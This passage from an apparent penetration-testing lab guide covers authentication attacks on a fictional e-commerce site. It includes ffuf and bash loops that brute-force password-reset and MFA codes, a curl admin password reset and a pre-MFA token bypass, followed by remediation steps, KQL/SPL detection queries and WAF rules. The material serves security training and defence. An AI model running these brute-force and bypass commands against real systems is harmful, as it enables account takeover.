  "message": "If an account exists with that email, a reset link has been sent."
}
# The reset token is a 6-digit numeric code (SYNTHETIC)
# Brute-force the reset code (SYNTHETIC — 000000 to 999999)
$ ffuf -u "https://shopstream.example.com/api/v2/auth/reset-password/verify" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com","code":"FUZZ"}' \
  -w /usr/share/wordlists/numeric-6digit.txt \
  -mc 200 \
  -fr "Invalid code" \
  -t 50

# After ~45,000 attempts (SYNTHETIC):
847291                  [Status: 200, Size: 234, Words: 12]
# Use the brute-forced reset code to change the admin password (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password/confirm \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com","code":"847291","new_password":"REDACTED_ATTACKER"}' | jq .

{
  "status": "success",
  "message": "Password has been reset successfully"
}

Weak Reset Token — Account Takeover

The password reset mechanism uses a 6-digit numeric code with no rate limiting, no account lockout, and no expiration enforcement. An attacker can brute-force all 1,000,000 possible codes in a short time. This results in full account takeover for any user, including administrators.

5.7 MFA Bypass Techniques

Step 7: MFA Bypass via Direct API Access

# Normal login with MFA (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"REDACTED"}' | jq .

{
  "status": "mfa_required",
  "mfa_token": "temp_mfa_eyJ0eXAi...",
  "message": "Please provide your MFA code"
}

# MFA verification endpoint
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
  -H "Content-Type: application/json" \
  -d '{"mfa_token":"temp_mfa_eyJ0eXAi...","code":"123456"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi_full_admin_token..."
}
# MFA Bypass #1: The temporary MFA token grants partial access (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
  -H "Authorization: Bearer temp_mfa_eyJ0eXAi..." | jq .

{
  "id": 1,
  "username": "admin",
  "role": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "mfa_enabled": true
}

MFA Bypass — Partial Token Grants Full Access

The temporary MFA token (issued after password verification but before MFA completion) is accepted by API endpoints that should require full authentication. The server does not distinguish between pre-MFA and post-MFA tokens for authorization purposes. An attacker who compromises the password can bypass MFA entirely by using the temporary token.

# MFA Bypass #2: Brute-force TOTP code — no rate limiting (SYNTHETIC)
$ for code in $(seq -w 000000 999999); do
    response=$(curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
      -H "Content-Type: application/json" \
      -d "{\"mfa_token\":\"temp_mfa_eyJ0eXAi...\",\"code\":\"$code\"}")
    if echo "$response" | grep -q "success"; then
      echo "Valid code: $code"
      break
    fi
  done

# TOTP codes are 6 digits and rotate every 30 seconds.
# With no rate limiting, the valid code can be found within the 30-second window
# if request throughput is sufficient (~33,333 req/sec needed for full keyspace).

5.8 Remediation — Authentication & Session Attacks

Remediation Recommendations

JWT Security:

  1. Enforce algorithm in verification — never allow the JWT header to dictate the algorithm:
    # SECURE — explicitly set allowed algorithms
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    
    # INSECURE — allows attacker-controlled algorithm
    # payload = jwt.decode(token, SECRET_KEY)
    
  2. Reject 'none' algorithm — ensure the JWT library is updated and configured to reject unsigned tokens
  3. Use asymmetric keys (RS256/ES256) for public-facing APIs; never expose symmetric secrets
  4. Minimize JWT claims — do not store roles in JWTs; look up roles server-side from the database

Session Management:

  1. Regenerate session IDs after login, privilege change, or role change
  2. Implement CSRF protection — use synchronizer tokens or verify Origin/Referer headers:
    from flask_wtf.csrf import CSRFProtect
    csrf = CSRFProtect(app)
    
  3. Set secure cookie attributes: HttpOnly, Secure, SameSite=Strict

Password Reset:

  1. Use cryptographically random tokens (at least 32 bytes / 256 bits), not numeric codes
  2. Implement rate limiting on reset verification (e.g., 5 attempts per token)
  3. Set short expiration on reset tokens (15–30 minutes)
  4. Invalidate token after first use — single-use tokens only

MFA:

  1. Enforce MFA completion before granting any access — pre-MFA tokens should have zero permissions
  2. Rate limit MFA verification — lock account after 5 failed attempts
  3. Implement TOTP replay protection — reject reused codes within the same time window

5.9 Detection Opportunities — Authentication Attacks

-- KQL: Detect JWT 'none' algorithm usage
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where RequestHeader has "Authorization"
| extend JWT = extract("Bearer\\s+([^\\s]+)", 1, RequestHeader)
| extend JWTHeader = base64_decode_tostring(extract("^([^.]+)", 1, JWT))
| where JWTHeader has '"alg":"none"' or JWTHeader has '"alg":"None"' or JWTHeader has '"alg":"NONE"'
| project TimeGenerated, CIp, CsUriStem, JWTHeader
-- KQL: Detect brute-force on password reset codes
AppServiceHTTPLogs
| where TimeGenerated > ago(30m)
| where CsUriStem has "reset-password/verify"
| summarize Attempts = count(), SuccessCount = countif(ScStatus == 200) by CIp
| where Attempts > 20
| project CIp, Attempts, SuccessCount
| sort by Attempts desc
-- KQL: Detect MFA brute-force attempts
AppServiceHTTPLogs
| where TimeGenerated > ago(30m)
| where CsUriStem has "mfa/verify"
| summarize Attempts = count(), Failures = countif(ScStatus != 200) by CIp
| where Attempts > 10 and Failures > 8
| project CIp, Attempts, Failures, FailRate = round(Failures * 100.0 / Attempts, 1)
| sort by Attempts desc
-- KQL: Detect CSRF — requests from unexpected origins
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where CsMethod in ("POST", "PUT", "DELETE")
| extend Origin = extract("Origin:\\s*([^\\r\\n]+)", 1, RequestHeader)
| where Origin !has "shopstream.example.com" and isnotempty(Origin)
| project TimeGenerated, CIp, CsUriStem, CsMethod, Origin
| sort by TimeGenerated desc
// SPL: Detect password reset brute-force
index=web sourcetype=access_combined uri_path="*/reset-password/verify*" method=POST
| bin _time span=5m
| stats count as attempts dc(status) as status_codes by src_ip, _time
| where attempts > 20
| sort -attempts
// SPL: Detect MFA bypass attempts
index=web sourcetype=access_combined uri_path="*/mfa/verify*" method=POST
| bin _time span=10m
| stats count as attempts sum(eval(if(status!=200,1,0))) as failures by src_ip, _time
| where attempts > 10 AND failures > 8
| sort -attempts
// SPL: Detect session fixation — same session ID used by multiple IPs
index=web sourcetype=access_combined
| rex field=cookie "session_id=(?<session_id>[^;]+)"
| stats dc(src_ip) as unique_ips values(src_ip) as ip_list by session_id
| where unique_ips > 1
| sort -unique_ips

WAF Rule — Authentication Attack Protection (ModSecurity-style):

# Rate limit password reset endpoint
SecRule REQUEST_URI "@rx /api/v2/auth/reset-password/(verify|confirm)" \
  "id:100004,\
   phase:2,\
   pass,\
   nolog,\
   setvar:'ip.reset_count=+1',\
   expirevar:'ip.reset_count=300'"

SecRule IP:RESET_COUNT "@gt 10" \
  "id:100005,\
   phase:2,\
   deny,\
   status:429,\
   log,\
   msg:'Password reset brute-force — rate limit exceeded',\
   tag:'AUTH/BRUTE_FORCE',\
   severity:'HIGH'"

# Rate limit MFA verification endpoint
SecRule REQUEST_URI "@rx /api/v2/auth/mfa/verify" \
  "id:100006,\
   phase:2,\
   pass,\
   nolog,\
   setvar:'ip.mfa_count=+1',\
   expirevar:'ip.mfa_count=300'"

SecRule IP:MFA_COUNT "@gt 5" \
  "id:100007,\
   phase:2,\
   deny,\
   status:429,\
   log,\
   msg:'MFA brute-force — rate limit exceeded',\
   tag:'AUTH/MFA_BRUTE_FORCE',\
   severity:'HIGH'"

Lab Summary & Report Template

Vulnerability Summary

# Vulnerability Severity OWASP Category CVSS (Est.) Exercise
1 Internal configuration endpoint exposed High A01 — Broken Access Control 7.5 Ex. 1
2 Git repository metadata exposed High A05 — Security Misconfiguration 7.5 Ex. 1
3 Swagger/OpenAPI docs in production Medium A05 — Security Misconfiguration 5.3 Ex. 1
4 Missing Content-Security-Policy Medium A05 — Security Misconfiguration 5.0 Ex. 1
5 SQL Injection — login form (auth bypass) Critical A03 — Injection 9.8 Ex. 2
6 SQL Injection — product search (data exfil) Critical A03 — Injection 9.8 Ex. 2
7 Blind SQL Injection — time/boolean based High A03 — Injection 8.6 Ex. 2
8 Reflected XSS — search High A03 — Injection 6.1 Ex. 3
9 Stored XSS — reviews (session hijacking) High A03 — Injection 8.1 Ex. 3
10 DOM-based XSS — URL fragment Medium A03 — Injection 6.1 Ex. 3
11 SSRF — image import (internal network) Critical A10 — SSRF 9.1 Ex. 4
12 SSRF — cloud metadata credential theft Critical A10 — SSRF 9.8 Ex. 4
13 IDOR — order data exposure High A01 — Broken Access Control 7.5 Ex. 4
14 IDOR — user profile exposure High A01 — Broken Access Control 7.5 Ex. 4
15 Mass assignment — privilege escalation Critical A01 — Broken Access Control 9.1 Ex. 4
16 JWT 'none' algorithm accepted Critical A07 — Auth Failures 9.8 Ex. 5
17 JWT key confusion (RS256→HS256) Critical A07 — Auth Failures 9.8 Ex. 5
18 Session fixation — no regeneration on login High A07 — Auth Failures 7.5 Ex. 5
19 Missing CSRF protection Medium A01 — Broken Access Control 6.5 Ex. 5
20 Weak password reset token (6-digit numeric) Critical A07 — Auth Failures 9.1 Ex. 5
21 MFA bypass — partial token grants access Critical A07 — Auth Failures 9.8 Ex. 5

Severity Distribution

Critical:  8 findings (38%)
High:      8 findings (38%)
Medium:    5 findings (24%)
Low:       0 findings (0%)

MITRE ATT&CK Mapping

Technique ID Technique Name Exercise
T1595.002 Active Scanning: Vulnerability Scanning Ex. 1
T1190 Exploit Public-Facing Application Ex. 2, 3, 4
T1059.007 Command and Scripting Interpreter: JavaScript Ex. 3
T1557 Adversary-in-the-Middle Ex. 4
T1552.005 Unsecured Credentials: Cloud Instance Metadata API Ex. 4
T1078 Valid Accounts Ex. 5
T1539 Steal Web Session Cookie Ex. 3, 5
T1556 Modify Authentication Process Ex. 5
T1110.001 Brute Force: Password Guessing Ex. 5

Pentest Report Template

Use the following template structure for your penetration test report:

# Web Application Penetration Test Report
## Pinnacle Commerce — ShopStream

### Executive Summary
- Scope, methodology, dates, overall risk rating
- Critical findings summary (1-2 paragraphs for executives)

### Methodology
- OWASP Testing Guide v4.2
- PTES (Penetration Testing Execution Standard)
- Tools used (Burp Suite, SQLMap, ffuf, Nikto, jwt_tool)

### Findings
For each finding:
- Title, Severity (Critical/High/Medium/Low), CVSS Score
- OWASP Category, CWE ID, MITRE ATT&CK Technique
- Description of the vulnerability
- Steps to reproduce (with redacted evidence)
- Business impact assessment
- Remediation recommendation (short-term and long-term)
- References (CWE, OWASP, vendor documentation)

### Risk Rating Matrix
- Likelihood × Impact = Risk Level
- Prioritized remediation roadmap

### Appendices
- A: Full tool output logs
- B: Screenshot evidence
- C: Scope agreement and rules of engagement
- D: Retesting results (after remediation)

Further Reading

Cross-References

External Resources

CWE References

CWE Name Exercise
CWE-89 SQL Injection Ex. 2
CWE-79 Cross-Site Scripting (XSS) Ex. 3
CWE-918 Server-Side Request Forgery (SSRF) Ex. 4
CWE-639 Authorization Bypass Through User-Controlled Key (IDOR) Ex. 4
CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment) Ex. 4
CWE-327 Use of a Broken or Risky Cryptographic Algorithm (JWT none) Ex. 5
CWE-384 Session Fixation Ex. 5
CWE-352 Cross-Site Request Forgery (CSRF) Ex. 5
CWE-640 Weak Password Recovery Mechanism Ex. 5
CWE-308 Use of Single-factor Authentication (MFA Bypass) Ex. 5